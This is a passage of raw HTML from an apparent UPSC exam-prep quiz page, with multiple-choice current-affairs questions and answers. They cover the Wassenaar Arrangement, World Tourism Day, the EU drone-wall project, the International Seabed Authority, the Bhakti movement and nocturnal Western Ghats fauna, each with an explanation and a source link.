by establishing common export control policies among its 42 participating states.<\/li>\n\n\n\n<li><strong>Operational since 1996<\/strong>, the Arrangement is<strong> not a legally binding treaty<\/strong> but a political commitment where members exchange information on transfers and denials, share best practices, and work through consensus. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Purpose: <\/strong>To ensure that the transfer of conventional arms and dual-use items (which can be used for both civilian and military purposes) does not contribute to destabilizing military capabilities or fall into the hands of terrorists.<\/li>\n\n\n\n<li><strong>Function: <\/strong>It serves as an information exchange forum where participating states provide information on arms transfers, share insights on potential proliferation risks, and report on export license denials.<\/li>\n\n\n\n<li><strong>Structure: <\/strong>The Arrangement operates through a Plenary meeting, where <strong>decisions are made by consensus<\/strong>, and a small <strong>Secretariat based in Vienna, Austria.<\/strong><\/li>\n\n\n\n<li><strong>Scope:<\/strong> It covers conventional arms, such as small arms and light weapons, military aircraft, and armored vehicles, as well as a wide range of dual-use goods and technologies.<\/li>\n\n\n\n<li><strong>Membership:<\/strong> It includes 42 participating states, primarily from NATO and the European Union, with <strong>India becoming the 42nd member in 2017<\/strong>. <strong>Hence statement III is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. Consider the following:<\/strong> <br><br>1. Asian Infrastructure Investment Bank <br>2. Missile Technology Control Regime <br>3. Shanghai Cooperation Organisation <br><br><strong>India is a member of which of the above?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br>(c) 2 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/technology\/the-wassenaar-arrangement-the-need-to-reform-export-control-regimes\/article70108613.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/technology\/the-wassenaar-arrangement-the-need-to-reform-export-control-regimes\/article70108613.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>6. With reference to the \u2018World Tourism Day\u2019, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">I. The World Tourism Day is an initiative of the World Travel &amp; Tourism Council (WTTC).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">II. It is observed annually on September 27 and was celebrated for the first time in the year 1980.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?\u00a0<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(a) I only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(b) II only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(c) Both I and II&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Answer: (b) II only&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>World Tourism Day 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-158\">\n<li>World Tourism Day, observed annually on September 27, is an initiative of the United Nations World Tourism Organisation (UNWTO).&nbsp; <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>It commemorates the adoption of the UNWTO statutes in 1970 and emphasises the sector&#8217;s role in supporting the socio\u2013economic growth of countries and advancing the global Sustainable Development Goals (SDGs).<\/li>\n\n\n\n<li>It was celebrated for the first time in the year 1980.&nbsp; <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>The theme for World Tourism Day 2025 is <strong>\u201cTourism and Sustainable Transformation,\u201d<\/strong> emphasising tourism\u2019s power to promote positive change.<\/li>\n\n\n\n<li><strong>Malaysia <\/strong>will host the World Tourism Day and the World Tourism Conference (WTC) 2025 in the city of Melaka from September 27th to 29th.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>Major Tourism Schemes &amp; Projects in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Swadesh Darshan &amp; Swadesh Darshan 2.0<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-161\">\n<li>110 total projects across thematic circuits (Buddhist, Coastal, Tribal, etc.)<\/li>\n\n\n\n<li>SD 2.0 promotes sustainable and destination-centric tourism.<\/li>\n\n\n\n<li>Key projects: Bodh Gaya, Hampi, Bangaram, Sohra Caves, Attari, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Challenge-Based Destination Development (CBDD)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-163\">\n<li>36 projects in 2024-25 across eco, spiritual, and cultural themes.<\/li>\n\n\n\n<li>Notable projects in Gujarat, Punjab, Chhattisgarh, Telangana, Manipur, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>PRASHAD Scheme<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-165\">\n<li>Focus on pilgrimage site development.<\/li>\n\n\n\n<li>54 projects across 28 States\/UTs with \u20b91168 crore sanctioned.<\/li>\n\n\n\n<li>Key sites: Tripura Sundari, Chamundeshwari Temple, Patna Sahib, Somnath, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Special Assistance to States for Capital Investment (SASCI)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-167\">\n<li>40 projects sanctioned for \u20b93295.76 crore.<\/li>\n\n\n\n<li>Fully funded by the Central Government.<\/li>\n\n\n\n<li>Example: Jal Mahal, Jaipur.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Dekho Apna Desh<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">Promotes domestic tourism via online activities, campaigns, and polls.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Vibrant Villages Programme (VVP-I &amp; II)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-171\">\n<li>Develops villages along strategic border areas.<\/li>\n\n\n\n<li>Encourages eco, cultural, and heritage tourism.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Capacity Building (CBSP)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-173\">\n<li>Paryatan Mitra\/Didi initiative to train locals, women, and tribal communities.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Digital Transformation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-175\">\n<li>Incredible India Digital Portal &amp; Content Hub launched.<\/li>\n\n\n\n<li>Features AI chatbot, booking tools, and multimedia content.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Homestay Promotion<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-177\">\n<li>Support for rural &amp; tribal homestays via NIDHI portal.<\/li>\n\n\n\n<li>\u20b95 lakh assistance per homestay; collateral-free Mudra Loans available.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2171731\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2171731<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>7. &#8216;Drone wall&#8217; project , sometimes seen in the news, is related to<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\">(a) A response to repeated airspace violations by drones, especially along the EU&#8217;s eastern borders with Russia and Ukraine.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">(b) A European civilian infrastructure plan aimed at integrating drone technology into urban delivery systems across member states.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">(c) A collaborative project by EU nations to construct physical barriers and electronic fences along disputed land borders with neighboring countries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">(d) A NATO-led military exercise involving the deployment of surveillance drones for maritime security operations in the Mediterranean Sea.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Answer: (a) A response to repeated airspace violations by drones, especially along the EU&#8217;s eastern borders with Russia and Ukraine.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>In NEWS: <\/strong>European defence ministers agree to press on with &#8216;drone wall&#8217; project as airspace violations mount<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\"><strong>&#8216;Drone wall&#8217; project:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-188\">\n<li>European defence ministers have agreed to move forward with a \u201cdrone wall\u201d along borders with Russia and Ukraine to better detect, track, and intercept drones violating airspace.<\/li>\n\n\n\n<li>Recent incidents involving rogue drones, some blamed on Russia, have increased pressure on the EU and NATO to respond more decisively.<\/li>\n\n\n\n<li>The planned drone wall could take up to a year to build, and detailed technical and conceptual planning is underway among the member states.<\/li>\n\n\n\n<li>The priority will be deploying an effective detection system, with coordination among the defence industries of European states.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>Purpose &amp; Trigger Events<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-190\">\n<li>The initiative is a response to repeated airspace violations by drones (and some manned aircraft), especially along the EU&#8217;s eastern borders with Russia and Ukraine.<a href=\"https:\/\/www.aljazeera.com\/news\/2025\/9\/26\/eu-plans-to-develop-drone-wall-amid-regional-airspace-violations?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"> <\/a><strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>Incidents include drones over Poland, fighter jets over Estonia, and disruptions at Danish airports.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Participants<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-192\">\n<li>Defence ministers from at least 10 EU frontline countries are involved: Bulgaria, Denmark, Estonia, Finland, Latvia, Lithuania, Poland, Romania, Slovakia, Hungary.<a href=\"https:\/\/www.eurointegration.com.ua\/eng\/news\/2025\/09\/26\/7221136\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/li>\n\n\n\n<li>Ukraine is ready to join, sharing its experiences and technologies.<a href=\"https:\/\/www.aa.com.tr\/en\/europe\/ukraine-says-ready-to-join-eu-drone-wall-project\/3700308?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/li>\n\n\n\n<li>NATO is involved as observer or partner in coordination.<a href=\"https:\/\/www.eurointegration.com.ua\/eng\/news\/2025\/09\/26\/7221136\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><\/a><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>Structure &amp; Scope<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-194\">\n<li>The project is part of a broader framework called \u201cEastern Flank Watch\u201d. It has three components:\u00a0 <\/li>\n\n\n\n<li>Drone Wall (air defence \/ detection &amp; interception of unmanned threats)<\/li>\n\n\n\n<li>Land Wall (traditional border protections on land)<\/li>\n\n\n\n<li>Sea Wall (maritime border defence)<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-195\">\n<li>The immediate priority is detection systems (radars, sensors, acoustic systems) followed by systems to intercept\/neutralise malicious drones.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><strong>Q. &#8216;Project Loon&#8217;, sometimes seen in the news, is related to<\/strong> <br><br>(a) waste management technology <br><strong>(b) wireless communication technology<\/strong> <br>(c) solar power production technology <br>(d) water conservation technology<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/news\/defence\/european-defence-ministers-agree-to-press-on-with-drone-wall-project-as-airspace-violations-mount\/articleshow\/124164898.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/news\/defence\/european-defence-ministers-agree-to-press-on-with-drone-wall-project-as-airspace-violations-mount\/articleshow\/124164898.cms?from=mdr<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>8. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\"><strong>Statement I: <\/strong>India is a member of the International Seabed Authority (ISA).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\"><strong>Statement II: <\/strong>As per UNCLOS Article 156(2), all States Parties to UNCLOS are automatically members of ISA.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\">(a) Both Statement I and Statement II are correct and Statement II explains Statement I&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">(b) Both Statement I and Statement II are correct but Statement II does not explain Statement I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\">(c) Statement I is correct but Statement II is not correct\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\">(d) Statement I is not correct but Statement II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\"><strong>Answer: (a) Both Statement I and Statement II are correct and Statement II explains Statement I&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\"><strong>In NEWS: <\/strong>India wins second mineral exploration contract in the Indian Ocean:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-208\">\n<li>India secured a second exploration contract from the International Seabed Authority (ISA) to explore Polymetallic Sulphides (PMS) in the Carlsberg Ridge (Indian Ocean), making India the largest holder of PMS exploration area globally.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\"><strong>Why It Matters:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-210\">\n<li>PMS are rich in copper, zinc, gold, silver, etc. \u2014 crucial for clean tech and electronics.<\/li>\n\n\n\n<li>Deep-sea resources help reduce dependence on imports and enhance mineral security.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\"><strong>Strategic Location:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-212\">\n<li>Carlsberg Ridge is near India (2\u00b0N), making exploration more accessible and strategically important.<\/li>\n\n\n\n<li>Known for hydrothermal vents \u2014 ideal for PMS deposits.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-213 wp-block-paragraph\"><strong>India\u2019s Readiness:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-214\">\n<li>Led by NCPOR, exploration begins in 2026 under the Deep Ocean Mission.<\/li>\n\n\n\n<li>Phased surveys using advanced tools (AUVs, ROVs, etc.).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-215 wp-block-paragraph\"><strong>Wider Impact:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-216\">\n<li>Strengthens India&#8217;s Blue Economy ambitions.<\/li>\n\n\n\n<li>Enhances technological capability, strategic influence, and resource sustainability.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-217 wp-block-paragraph\"><strong>The International Seabed Authority (ISA):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-218\">\n<li>The International Seabed Authority (ISA) is an <strong>autonomous international organization established under the 1982 UNCLOS<\/strong> <strong>and the 1994 Implementation Agreement.<\/strong><\/li>\n\n\n\n<li>ISA is responsible for organizing and regulating all mineral-related activities in the international seabed area (\u201cThe Area\u201d) for the benefit of all humankind.<\/li>\n\n\n\n<li>ISA is mandated to ensure the protection of the marine environment from the harmful effects of deep-seabed activities.<\/li>\n\n\n\n<li><strong>Headquartered in Kingston, Jamaica<\/strong>, ISA became operational on 16 November 1994, and fully autonomous by June 1996.<\/li>\n\n\n\n<li>As per UNCLOS Article 156(2), all States Parties to UNCLOS are automatically members of ISA. India is a member of UNCLOS and hence a member of&nbsp; the International Seabed Authority (ISA). <strong>Hence both Statement I and Statement II are correct and Statement II explains Statement I.<\/strong><\/li>\n\n\n\n<li>As of 2 September 2024, ISA has 170 members (169 countries + the European Union).<\/li>\n\n\n\n<li>The Area governed by ISA covers about 54% of the world\u2019s ocean floor and is designated as the common heritage of humankind.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br>1. The Global Ocean Commission grants licences for seabed exploration and mining in international waters. <br>2. India has received licences for seabed mineral exploration in international waters. <br>3. \u2018Rare earth minerals\u2019 are present on seafloor in international waters. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-219 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/india-pms-exploration-carlsberg-ridge-indian-ocean-significance-10278691\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/india-pms-exploration-carlsberg-ridge-indian-ocean-significance-10278691\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-220 wp-block-paragraph\"><strong>9. Consider the following statements about the Bhakti movement in temple worship:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-221 wp-block-paragraph\">1. It encouraged participation of all people regardless of caste.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-222 wp-block-paragraph\">2. It saw an increased role of temple music, dance, and devotional singing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-223 wp-block-paragraph\">3. It led to the abolition of temple rituals and sanctum sanctorum architecture.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-224 wp-block-paragraph\"><strong>Which of the statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-225 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-226 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-227 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-228 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-229 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-230 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-231 wp-block-paragraph\"><strong>In NEWS: <\/strong>How Hindu temples survived political upheavals and philosophical shifts<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-232\">\n<li>Early Hindu sacred practices revolved around <strong>nature worship such as trees, rivers, mountains, and animals.<\/strong><\/li>\n\n\n\n<li>Around the 2nd century CE, <strong>image worship began<\/strong> with recognizable deities like <strong>Shiva and Vishnu<\/strong> appearing in sculptures.<\/li>\n\n\n\n<li>Enclosed sanctuaries and temples of brick and stone emerged by the 5th\u20136th centuries CE <strong>(e.g., Bhitargaon, Deogarh).<\/strong><\/li>\n\n\n\n<li><strong>Rock-cut temples (Ellora, Elephanta)<\/strong> and free-standing temples flourished, with regional styles such as<strong> Nagara (North) and Dravidian (South)<\/strong> evolving.<\/li>\n\n\n\n<li>Initially, temples functioned as ritual laboratories for <strong>Tantric practices<\/strong>, but over time, with the <strong>Bhakti movement,<\/strong> they became public devotional spaces.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-233 wp-block-paragraph\">The Bhakti movement emphasized <strong>personal devotion, music, dance, and collective worship<\/strong>, reducing priestly exclusivity.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-234 wp-block-paragraph\"><strong>Shift in Worship Practices<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-235\">\n<li>Earlier temples were ritual-centric, dominated by priests and Tantric traditions.<\/li>\n\n\n\n<li>Bhakti movement made worship more personal, emotional, and accessible.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-236 wp-block-paragraph\"><strong>Role of Temples<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-237\">\n<li>Temples became centres of collective devotion\u2014public singing, dancing, storytelling.<\/li>\n\n\n\n<li>Rituals coexisted with bhajans, kirtans, and folk performances.&nbsp; <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-238 wp-block-paragraph\"><strong>Social Inclusivity<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-239\">\n<li>Bhakti saints challenged caste and ritual barriers.<\/li>\n\n\n\n<li>Temples increasingly welcomed participation by all social groups, not just elites.&nbsp; <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-240 wp-block-paragraph\"><strong>Cultural Flourishing<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-241\">\n<li>Growth of regional devotional traditions\u2014Alvars and Nayanars in Tamil Nadu, Varkari in Maharashtra, Sant tradition in North India.<\/li>\n\n\n\n<li>Temple worship absorbed local art, literature, and music.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-242 wp-block-paragraph\"><strong>Resilience in Political Upheavals<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-243\">\n<li>Even when political forces targeted grand temples, the Bhakti tradition kept worship alive in small shrines and homes.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-244 wp-block-paragraph\"><strong>Legacy<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-245\">\n<li>Established temples as not only ritual sites but also social, cultural, and artistic hubs.<\/li>\n\n\n\n<li>Strengthened continuity of Hindu worship practices up to the present day.<\/li>\n\n\n\n<li>Bhakti did not abolish rituals or temple structures; it democratized access and enriched practices.&nbsp; <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><strong>Q. The Nagara, the Dravida and the Vesara are the<\/strong> <br><br>(a) three main racial groups of the Indian subcontinent <br>(b) three main linguistic divisions into which the languages of Indian can be classified <br><strong>(c) three main styles of Indian temple architecture<\/strong> <br>(d) three main musical Gharanas prevalent in India<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-246 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/devdutt-pattanaik-how-hindu-temples-survived-political-upheavals-10272849\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/devdutt-pattanaik-how-hindu-temples-survived-political-upheavals-10272849\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-247 wp-block-paragraph\"><strong>10. Consider the following fauna:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-248 wp-block-paragraph\">1. Lion-tailed Macaque<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-249 wp-block-paragraph\">2. Malabar Civet<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-250 wp-block-paragraph\">3. Sambar Deer<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-251 wp-block-paragraph\"><strong>How many of the above are generally nocturnal or most active after sunset?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-252 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-253 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-254 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-255 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-256 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-257 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-258 wp-block-paragraph\"><strong>1. Lion-tailed Macaque<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-259\">\n<li>A primate of the Western Ghats.<\/li>\n\n\n\n<li><strong>Diurnal<\/strong> (active in the day), not nocturnal. <strong>Hence 1 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-260 wp-block-paragraph\"><strong>2. Malabar Civet<\/strong><\/p>\n\n\n\n<ul 